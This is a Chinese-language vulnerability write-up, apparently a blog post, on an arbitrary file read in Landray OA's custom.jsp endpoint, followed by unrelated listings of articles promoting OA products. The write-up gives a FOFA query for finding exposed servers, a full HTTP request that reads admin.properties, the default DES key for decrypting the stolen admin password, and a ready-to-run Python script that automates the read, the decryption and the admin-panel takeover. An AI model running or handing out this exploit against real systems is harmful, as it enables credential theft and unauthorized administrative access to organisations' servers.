蓝凌OA系统存在任意文件读取(SSRF)

简介: 蓝凌OA系统存在任意文件读取(SSRF)

漏洞简介

深圳市蓝凌软件股份有限公司存在SSRF任意文件读取漏洞,攻击者可通过改漏洞获得管理员的密码进入后台。


FOFA语句

app="Landray-OA系统"


影响范围

蓝凌OA


漏洞复现

蓝凌OA custom.jsp 任意文件读取漏洞读取加密的密码


POC

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: xxx.xxx.xxx.xxx
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36 Edg/90.0.818.56
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=611A290CFE623E17EF4BFB89BA413020
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}


640.png


密码是采用的DES加密,默认的密钥是KmssAdminKey

通过在线解密网站进行解密:http://tool.chacuo.net/cryptdes

640.png


得到后台密码

访问后台登录地址进行登录:http://xxx.xxx.xxx.xxx/admin.do

640.png

640.png


成功登录后台

EXP(自动解密)

import requests
import sys
import re
from pyDes import des, ECB, PAD_PKCS5
import base64
from requests.packages.urllib3.exceptions import InsecureRequestWarning  #消除警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  # 消除警告
url = input('输入url>>>:')
if url.startswith('http:') != 1 and url.startswith('https:') != 1:
    url = 'http://' + url
url =url
def lanling2(): 
    url1 =url
    url2 =url1+'/sys/ui/extend/varkind/custom.jsp'
    headers={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
    "Content-Type":"application/x-www-form-urlencoded"
            }
    data='var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}'
    try:
        r = requests.post(url=url2,headers=headers,data=data,verify=False,timeout=10)
        if r.status_code == 200 and 'password' in r.text:
            print(url+'存在蓝凌OA SSRF')
            print('登录地址:'+url+'/admin.do')
            data = r.text.strip()
            data =str(data)
            data1 = data.split()
            data2 = ''.join(data1)
            #print(data2)
            password = re.findall(r"password=(.*?)\\rkmss",data2,re.I | re.M)
            password1 = str(password)
            #print(password)
            KEY = 'kmssAdmi'
            try:
                secret_key = KEY
                iv = secret_key
                k = des(secret_key, ECB, iv, pad=None, padmode=PAD_PKCS5)
                decrystr = k.decrypt(base64.b64decode(password1))
                #print(decrystr)
                decrystr2 = str(decrystr, 'utf-8').strip(':')
                print('++++++'+'后台密码为:' + decrystr2)
            except Exception as e:
                print('解密失败')
        else:
            print(url+'不存在蓝凌OA SSRF')
    except Exception as e:
        print(url+'异常退出')
lanling2()

exp运行效果如下

b7b26f917372f2ee69756fe8a7cee6bd.png


输入存在漏洞的url可获得解密后的密码直接登录后台


相关文章
|
5天前
|
安全 网络安全 数据安全/隐私保护
OA办公系统选购注意的事项
随着数字化时代的到来,越来越多的企业开始选择使用OA办公系统来提高工作效率和管理效果。然而,在选购OA办公系统时,需要注意以下几点的事项,希望能对企业选购OA办公系统有所帮助。
29 4
|
5天前
|
UED
点晴OA办公系统如何实现业务表单的自定义设计
在点晴OA办公系统中,业务表单的自定义设计是一项重要的功能,它能够满足企业不同的业务需求,提高工作效率和协作能力。 随着企业的发展,不同的业务部门需要处理各种类型的表单,如人事表单、财务表单、项目表单等。如果这些表单无法根据实际需求进行自定义设计,就会导致工作效率低下、信息不准确、协作困难等问题。因此,实现业务表单的自定义设计是提高企业办公效率和协作能力的重要手段。
26 0
|
5天前
|
BI
四款OA办公系统快速提高企业效率
拥有合适企业的OA系统不仅可以实现办公自动化而且还能提高企业效率,今天盘点以下几家的OA办公系统。
31 0
|
5天前
|
数据安全/隐私保护
免费OA办公系统,提升工作效率与协作的智能选择
在当今快节奏的时代中,企业需要一种高效、智能的办公系统来提升工作效率,促进团队协作,并实现更好的信息管理。点晴OA办公系统是真正免费使用的,成为现在企业管理的重要工具之一。
34 2
|
5天前
|
搜索推荐
为什么每个公司都在做自己的OA系统,但是依然没有取代钉钉
为什么每个公司都在做自己的OA系统,但是依然没有取代钉钉
|
5天前
企业都是用谁家的OA办公系统?
好的免费OA办公系统都有哪几家,下面让我们来一起看看吧!
28 1
|
5天前
|
监控 搜索推荐 数据挖掘
企业为什么要用免费OA系统
点晴免费OA系统对企业来说至关重要 ,其功能包括信息管理、流程管理、知识管理、协同办公等多种功能,帮助企业和机构实现信息化、自动化、智能化和标准化,提高工作效率和质量,降低成本和风险,同时为企业的决策提供数据支持和保障。
23 1
|
5天前
|
BI
企业使用免费OA系统后竟然有如此变化
点晴免费OA办公系统可以提高中小企业内部办公效率、降低企业经营管理成本,是企业信息化和数字化转型升级过程中不可或缺的一部分。
12 2
|
5天前
深挖免费OA办公系统的用户应用场景
OA办公系统经过多年的发展与壮大,早已成为企业内部信息化管理的重要工具之一。因此,在设计OA办公系统时,必须从用户需求出发,深入挖掘各种场景下的应用需求及相应解决方案。
19 0
|
5天前
免费OA办公系统的选购指南
使用点晴免费OA办公系统可以提高工作效率和管理水平,优化工作流程,降低沟通成本,减轻办公室工作负担,提高工作质量和效率,为企业提供更好的服务。
28 2